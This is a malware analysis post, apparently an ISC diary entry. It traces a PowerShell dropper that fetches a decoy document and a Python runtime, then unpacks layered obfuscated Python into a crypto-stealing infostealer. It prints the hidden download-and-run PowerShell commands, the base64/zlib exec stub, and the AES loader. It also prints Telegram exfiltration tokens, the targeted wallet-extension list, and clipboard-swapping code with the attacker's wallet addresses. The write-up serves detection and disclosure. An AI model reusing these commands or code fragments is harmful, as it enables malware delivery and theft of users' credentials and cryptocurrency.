From PowerShell to a Python Obfuscation Race!
Attackers like to mix multiple technologies to improve the deployment of their malicious code. I spotted a small script that drops a Python malware. The file was sent on VirusTotal and got a score of 2/60![1] (SHA256:96bb0777a8e9616bc9ca22ca207cf434a947a3e4286c051ed98ddd39147b3c4f). The script starts by downloading and opening a fake Garmin document through Powershell:
powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('hxxps://www[.]dropbox[.]com/scl/fi/30nkntkwjho3k60w7q3gu/Garmin_Campaign_Information_for_Partners_V5.docx?rlkey=k1zd9llfafqdqpb6be1rpqlmr&st=rxkezfgo&dl=1', '%TEMP%\\Garmin_Campaign_Information_for_Partners_V5.docx')" powershell -WindowStyle Hidden -Command "Start-Process '%TEMP%\\Garmin_Campaign_Information_for_Partners_V5.docx'"
Then, it downloads a complete Python environment and unzips it on the victim's computer:
powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('hxxps://gitlab[.]com/grr4174450/gar/-/raw/main/fuknewGa1212.zip', 'C:\Users\Public\Document.zip')" powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document')"
The file "Document.zip" is pretty big (66MB) and contains a Python environment. Once installed, a Python script is launched:
powershell.exe -WindowStyle Hidden -Command " C:\Users\Public\Document\pythonw.exe C:\Users\Public\Document\DLLs\ld_312.pd clickapp"
The file "ld_312.pd" is pretty simple and will execute a payload that has been compressed and Base64-encoded:
_ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1]));exec((_)(b'PyiF59g///7z8X [...] yWzVVwJe'))
Once you deobfuscate this, you'll find another payload in reversed strings, compressed and Base64-encode. The funny part is that this technique has been implemented approximately 30(!) times. I stopped counting in Cyberchef. Finally, I got this code:
from cryptography.hazmat.backends import default_backend from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes from cryptography.hazmat.primitives import padding from base64 import b64decode import os count = 0; key = b'aPIYKiq93v3ES7qf'; key = b'Eeo2IU0s24TMN0Tc' def decrypt(ciphertext, key): backend = default_backend() cipher = Cipher(algorithms.AES(key), modes.ECB(), backend=backend) decryptor = cipher.decryptor() decrypted_data = decryptor.update(b64decode(ciphertext.encode('utf-8'))) + decryptor.finalize() unpadder = padding.PKCS7(algorithms.AES.block_size).unpadder() unpadded_data = unpadder.update(decrypted_data) + unpadder.finalize() return unpadded_data.decode('utf-8') with open(os.path.join(os.path.dirname(__file__), 'LogActiveScutG4.sqlite'), 'r', encoding='utf-8') as file: content = file.read() exec(decrypt(content,key))
The next payload is hidden in a fake SQLite database located in Document.zip. It's a classic InfoStealer that uses Telegram for exfiltration:
class BotInfo: bot_id = 'Scut_1212_Ga-HN' tokenbot_default = "7568849705:AAG39FjvCufIGIObX0sHd4-IRAPJvsGfy6c" chatid_default = -1002427758677 tokenbot_startup = "7568849705:AAG39FjvCufIGIObX0sHd4-IRAPJvsGfy6c" chatid_startup = -1002466388958 tokenbot_error = "7938337208:AAG_OU23w7v2ahPVAffIORZ6Ecc__-jAoeU" chatid_error = -1002464848676 chatid_backup = 5184413483 caption = "" host_update = ""
Of course, these days, specific attention is paid to crypto wallets. Besides the classic data, this malware looks at many browser extensions:
class GetWalletExtension: listExtension = { 'nhbicdelgedinnbcidconlnfeionhbml': 'Begin Wallet', 'acmacodkjbdgmoleebolmdjonilkdbch': 'Rabby', 'nhnkbkgjikgcigadomkphalanndcapjk': 'Clover Wallet', 'cnmamaachppnkjgnildpdmkaakejnhae': 'Auro Wallet', 'jojhfeoedkpkglbfimdfabpdfjaoolaf': 'Polymesh Wallet', 'nknhiehlklippafakaeklbeglecifhad': 'Nabox Wallet', 'ookjlbkiijinhpmnjffcofjonbfbgaoc': 'Temple', 'dkdedlpgdmmkkfjabffeganieamfklkm': 'Cyano Wallet', 'cihmoadaighcejopammfbmddcmdekcje': 'LeafWallet', 'lodccjjbdhfakaekdiahmedfbieldgik': 'DAppPlay', 'ijmpgkjfkbfhoebgogflfebnmejmfbml': 'BitClip', 'onofpnbbkehpmmoabgpcpmigafmmnjhl': 'Nash Extension', 'bcopgchhojmggmffilplmbdicgaihlkp': 'Hycon Lite Client', 'klnaejjgbibmhlephnhpmaofohgkpgkd': 'ZilPay', 'algblmhagnobbnmakepomicmfljlbehg': 'ADS Wallet', 'jccapkebeeiajkkdemacblkjhhhboiek': 'Crust Wallet', 'agechnindjilpccclelhlbjphbgnobpf': 'Fractal Wallet', 'jnldfbidonfeldmalbflbmlebbipcnle': 'Bitfinity Wallet', 'jblndlipeogpafnldhgmapagcccfchpi': 'Kaikas', [...]
And replace data with the Attacker's wallets (via the clipboard):
class FuncCopyCoin: patterns = { 'BTC - Bech32': re.compile(r'^bc1[a-zA-Z0-9]{39,59}$'), 'ETH': re.compile(r'^0x[a-fA-F0-9]{40}$'), 'XRP': re.compile(r'^r[a-zA-Z0-9]{24,34}$'), 'LTC - Bech32': re.compile(r'^ltc1[a-zA-Z0-9]{39,59}$'), 'TRX': re.compile(r'^T[a-zA-Z0-9]{33}$'), 'DOGE': re.compile(r'^[D9][a-zA-Z0-9]{33}$'), 'SOL': re.compile(r'^[1-9A-HJ-NP-Za-km-z]{44}$'), 'ADA - Bech32': re.compile(r'^addr1[0-9a-zA-Z]{98}$'), 'TON': re.compile(r'^[EU]Q[A-Za-z0-9_-]{46}$'), } myWallets = { 'BTC - Bech32': "bc1q23dns0cmqvl4fplcqs7frrxt9m0jyntns57j89", 'ETH': "0x2BB681F2ACB1765c7BB9772a720b472605581F80", #chung v?i BNB 'XRP': "rKGVo3QH9jC7fHkpYmsMcZ27LGHoPspjAz", 'LTC - Bech32': "ltc1qf4mynptsd4tpdyeukku2tu5sl0ggduxxtz6ga6", 'TRX': "TXHgfLWtk55aQq1WM9WGfg8ZjcqPebxBUq", 'DOGE': "D8xfnh6N1Y8GDA9Yu1N28LrczxVXFJVh95", 'SOL': "41hmZSiXCvomvV3bYbZRCbD497SHg9RVASFPw3F4KUqR", 'ADA - Bech32': "addr1q8tgjkh53rcryz9z9rx28lz0cvv8n558q6qq4ac3uhmk393kj5f0ea87nvnuwfc48th8372js2rmngtyqnap9vg780msle3jra", 'TON': "UQBn4H7evUFhvpi9VUZTEYuNP68lh-XTWB1lOybRNl1zXbqj", }
Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key
Comments